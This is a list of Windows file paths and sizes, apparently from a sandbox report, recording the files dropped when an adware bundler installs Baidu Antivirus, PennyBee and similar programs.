%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\sysbutton (4 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft (4 bytes)
%WinDir%\SoftwareDistribution\Download\163d01893aa68b49abc63d8d6c9a7bb2 (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\128B4BEC-5D89-43AD-BAA8-207084AA0E4F (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\uf.dat-journal (707172 bytes)
%WinDir%\SoftwareDistribution\Download\0000894bab70b145c3629920ba907f7a (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\checkbox (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\EngineRpt.cfg (4113 bytes)
%System%\drivers\bdark.sys (601 bytes)
%WinDir%\SoftwareDistribution\Download\2c95b28351986132d7f36dd28eece9b0 (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\button (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\ieprotect\skin (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\BAVData\Filter.xml (821 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\BAVData\Filter.xml (821 bytes)
%System%\config\systemprofile\Application Data\Microsoft\CryptnetUrlCache\Content\1F356F4D07FE8C483E769E4586569404 (85 bytes)
%WinDir%\Temp\qov-o9se.0.cs (8844 bytes)
%WinDir%\Temp\qov-o9se.cmdline (538 bytes)
%System%\config\systemprofile\Application Data\Microsoft\CryptnetUrlCache\Content\3B6E683A7A45CC59BF035C9BA8C7AB9D (494 bytes)
%System%\config\systemprofile\Application Data\Microsoft\CryptnetUrlCache\MetaData\B69D763EB21649DA26F20618312DEE70 (232 bytes)
%System%\config\systemprofile\Application Data\Microsoft\CryptnetUrlCache\MetaData\1F356F4D07FE8C483E769E4586569404 (228 bytes)
%WinDir%\Temp\pwxw4cq9.0.cs (676 bytes)
%System%\config\systemprofile\Application Data\Microsoft\CryptnetUrlCache\MetaData\3B6E683A7A45CC59BF035C9BA8C7AB9D (240 bytes)
%WinDir%\Temp\pwxw4cq9.cmdline (356 bytes)
%Program Files%\PennyBee\Configs\Timers.xml (1954 bytes)
%System%\config\systemprofile\Application Data\Microsoft\CryptnetUrlCache\Content\B69D763EB21649DA26F20618312DEE70 (75 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\ICSharpCode.net\PennyBeeW.exe_Url_agkh2q2wptz44nr1mbd43tyforr5s4zl\1.0.2.0\ht2jtuwq.newcfg (9878 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\VP1ZYTCC\310714_am2[1].exe (20504 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temp\OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH\OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_t3.exe (30176 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temp\OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH\OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_y3.exe (55144 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\5N2USN4O\240714_t3[1].exe (30176 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temp\OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH\OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_am2.exe (20504 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\VP1ZYTCC\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq3.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WTGZIPUB\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq3.tmp\inetc.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temp\OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH\OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_a7.exe (21288 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0XE5SP6P\310714_y3[1].exe (55144 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0XE5SP6P\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq3.tmp\registry.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\VP1ZYTCC\310714_a7[1].exe (21288 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temp\OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH\OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_bn.exe (130113 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw2.tmp (2438 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WTGZIPUB\310714_bn[1].exe (130113 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\5N2USN4O\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\baidu_secure\update\test4822FBB5_0309_420f_9DA2_FA5B8B854946\test4822FBB5_0309_420f_9DA2_FA5B8B854947.txt (20 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Antivirus\BavMSServicePlugin.dll (704 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Antivirus\ReportComm_ForMini.dll (2714 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Antivirus\MiniSetupRF1 (1137 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Antivirus\MiniSetupRF0 (1137 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Antivirus\OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_bn.exe (15116 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\baidu_secure\update\cf4cb3bf0ac6d408cc51ec58fd4a746a.gnet.tmp (4342 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\baidu_secure\update\dc78c2f0002b2e0681223fbef5db306c.gnet.tmp (360 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bav7.tmp (36 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Antivirus\BavMSService.exe (56 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\baidu_secure\update\BavPro_Setup_B354.exe (102054 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\baidu_secure\update\newver_.xml (857 bytes)
%Documents and Settings%\All Users\Documents\Baidu\Common\I18N\conf.db (759 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE\icon2.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dynamicskin\5_0_War.png (2410 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE\detail_new.xml (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\639C9925-1C42-4236-991B-AEAB22353808\detail.xml.7z (858 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\8A73A249-C3BE-401A-8335-A832080931D3\gray_icon2.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\128B4BEC-5D89-43AD-BAA8-207084AA0E4F\detail_new.xml (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\6BA17A92-4345-49c0-A228-A57C2E779055\detail_new.xml (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dynamicskin\5_0_Halloween.png (2410 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\5DB281C3-B655-656A-01B6-E302199E376A\gray_icon2.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\8C8AEEC1-5166-4CE7-BBAD-7C37409D0C73\detail.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE\detail.xml (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\6BA17A92-4345-49c0-A228-A57C2E779055\detail.xml (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\5DB281C3-B655-656A-01B6-E302199E376A\icon.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\23A88272-3BEB-64D1-7DFB-470FD51F9BBA\icon2.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\DEF8DB04-2D26-469A-8D59-5D813E89773D\gray_icon.png (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\3811A2B3-20AF-486d-81FA-8774762CC135\icon2N.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE\gray_icon2.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\09F68E66-0B2F-47f7-83AF-77569A4A63C1\icon5G.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\log\BavTray.log (10950 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\09F68E66-0B2F-47f7-83AF-77569A4A63C1\gray_icon2.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\6BA17A92-4345-49c0-A228-A57C2E779055\icon.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\09F68E66-0B2F-47f7-83AF-77569A4A63C1\icon5N.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\3811A2B3-20AF-486d-81FA-8774762CC135\icon2G.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\128B4BEC-5D89-43AD-BAA8-207084AA0E4F\gray_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dynamicskin\5_0_WheatField.png (970 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE\gray_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\5DB281C3-B655-656A-01B6-E302199E376A\detail.xml (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\5DB281C3-B655-656A-01B6-E302199E376A\gray_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dynamicskin\list.xml (196 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\BavToolsInfo.xml (60551 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dynamicskin\5_0_Game.png (1690 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dynamicskin\5_0_Green.png (490 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\E839B20B-DE0B-461d-A3CD-769DFA88F488\detail_new.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\8A73A249-C3BE-401A-8335-A832080931D3\detail.xml (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dynamicskin\5_0_Flower.png (3370 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\8C8AEEC1-5166-4CE7-BBAD-7C37409D0C73\ALLICON_05.png.7z (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dynamicskin\5_0_Dream.png (970 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\23A88272-3BEB-64D1-7DFB-470FD51F9BBA\gray_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\128B4BEC-5D89-43AD-BAA8-207084AA0E4F\icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\09F68E66-0B2F-47f7-83AF-77569A4A63C1\detail_new.xml (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\639C9925-1C42-4236-991B-AEAB22353808\ALLICON_05.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\E839B20B-DE0B-461d-A3CD-769DFA88F488\icon4G.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dynamicskin\5_0_Gold.png (490 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\DEF8DB04-2D26-469A-8D59-5D813E89773D\detail_new.xml (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\E839B20B-DE0B-461d-A3CD-769DFA88F488\icon4N.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\3811A2B3-20AF-486d-81FA-8774762CC135\detail.xml (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\128B4BEC-5D89-43AD-BAA8-207084AA0E4F\icon2.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\8A73A249-C3BE-401A-8335-A832080931D3\icon.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\5DB281C3-B655-656A-01B6-E302199E376A\detail_new.xml (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\09F68E66-0B2F-47f7-83AF-77569A4A63C1\icon2.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\log\hipsadp\skin.xml (248 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\8A73A249-C3BE-401A-8335-A832080931D3\AutoInst.ini (27 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\3811A2B3-20AF-486d-81FA-8774762CC135\detail_new.xml (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\8A73A249-C3BE-401A-8335-A832080931D3\gray_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\E839B20B-DE0B-461d-A3CD-769DFA88F488\detail.xml (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\3811A2B3-20AF-486d-81FA-8774762CC135\icon2.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dynamicskin\5_0_Stars.png (2410 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\log\strlog\1448372475_BavTray_2296_strr.dat (41 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\23A88272-3BEB-64D1-7DFB-470FD51F9BBA\detail.xml (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\128B4BEC-5D89-43AD-BAA8-207084AA0E4F\gray_icon2.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\8C8AEEC1-5166-4CE7-BBAD-7C37409D0C73\detail.xml.7z (855 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\5DB281C3-B655-656A-01B6-E302199E376A\icon2.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\23A88272-3BEB-64D1-7DFB-470FD51F9BBA\gray_icon2.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\E839B20B-DE0B-461d-A3CD-769DFA88F488\icon2.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dynamicskin\5_0_Planet.png (2410 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dynamicskin\5_0_Speed.png (2410 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\128B4BEC-5D89-43AD-BAA8-207084AA0E4F\detail.xml (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\6BA17A92-4345-49c0-A228-A57C2E779055\AutoInst.ini (27 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\23A88272-3BEB-64D1-7DFB-470FD51F9BBA\detail_new.xml (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\8A73A249-C3BE-401A-8335-A832080931D3\icon2.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\E839B20B-DE0B-461d-A3CD-769DFA88F488\gray_icon2.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\DEF8DB04-2D26-469A-8D59-5D813E89773D\detail.xml (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\9FB78DD8-8083-4d5b-86FA-7C9AE2B224E0\detail.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE\icon.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\09F68E66-0B2F-47f7-83AF-77569A4A63C1\detail.xml (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dynamicskin\5_0_OldStars.png (490 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\3811A2B3-20AF-486d-81FA-8774762CC135\gray_icon2.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\8A73A249-C3BE-401A-8335-A832080931D3\detail_new.xml (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\6BA17A92-4345-49c0-A228-A57C2E779055\gray_icon.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\639C9925-1C42-4236-991B-AEAB22353808\ALLICON_05.png.7z (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\23A88272-3BEB-64D1-7DFB-470FD51F9BBA\icon.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\DEF8DB04-2D26-469A-8D59-5D813E89773D\icon.png (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\amipixel.cfg (107 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\5N2USN4O\index[1].htm (2097 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\amisetup9587__9664.exe:typelib (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WTGZIPUB\amipb[1].js (29021 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Plain Savings\mj (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Plain Savings\tlg (41 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx5.tmp\NSISEncrypt.dll (3219 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx5.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Plain Savings\lm (128 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx5.tmp\ns6.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx5.tmp\inetc.dll (20 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx5.tmp\nsJSON.dll (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx5.tmp\IpConfig.dll (4136 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx5.tmp\UserInfo.dll (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx5.tmp\WmiInspector.dll (3039 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx5.tmp\nsExec.dll (6 bytes)
%WinDir%\Tasks\Baidu Antivirus Update.job (452 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\log\ReportCtrlCacheTemp.dat (27 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\log\LogExZipFile\BavLog_2015_11_24_9_4_13.zip (24 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\log\ReportCommRetry.log (543 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BHTasks001.dll (128 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavUi\skin\antivirus\offBtnNormal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\firsttips\close_over.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\ieprotect\skin\lockOpen.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_ChangeSkin\res\skin.xml (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\investigate\skin.xml (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\button\qs2fs_close_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\VDownloader_Ask.rul (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavTray\skin\black_pop_suessfully.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\ieprotect\skin\setbtn_off_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavBase.dll (254 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavUi\skin\antivirus\main_title_unprotected.png (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\tree\tree_list_title.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\camrea_logo.png (13 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1146.BrotherSoftExtremeToolbar.rul (19 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavUi\skin\antivirus\free.png (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\dark.dll (198 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\icon_advanced_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\button\qs2fs_close_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\ieprotect\skin\lockOpen.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\button\main_tab_tools_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavTray\skin\dl_safe_s.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\investigate\skin\investigate_op_layout1_bg.png (44 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavTray\skin\dl_threat_s.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\CrashReport64.exe (5442 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\checkbox\checkox_sel_disale.png (14 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavTray\skin\dl_scanning.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\green_big_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\checkbox\checkbox_unsel_nor.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\SecurityCode.dll (190 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\main_title_number.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\wi.dat (262 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\button\deep_disable.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\redpoint.png (977 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavTray\skin\black_pop_suessfully.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Download\res\skin\icon\download.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\skin\skin\button\side_orange_arrow_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\context\context.ini (360 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\investigate\skin\investigate_op_layout3_bg.png (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavUi\skin\antivirus\summary_top_safe_custom.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin\onaccess\auto_bg_green.png (31 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\config.ini (6246 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\log.dll (100 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\ieprotect\skin.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavTray\skin\black_pop_excluded.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\bg\msg_bg_red_line.png (763 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\ieprotect\skin\setbtn_on_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\green_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\list\checkox_unsel_disale.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\line1.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavTray\skin\dl_threat.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1199.freevenpro.rul (11 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\ieprotect\skin\lockOpen.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1052.TigerSavings.rul (7 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\investigate\skin\mainFrame_investigate_mini_layout1_slice.png (9 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1112.SaveValet.rul (465 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavTray\skin\dl_scanning.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\skin\settingsD.png (1 bytes)
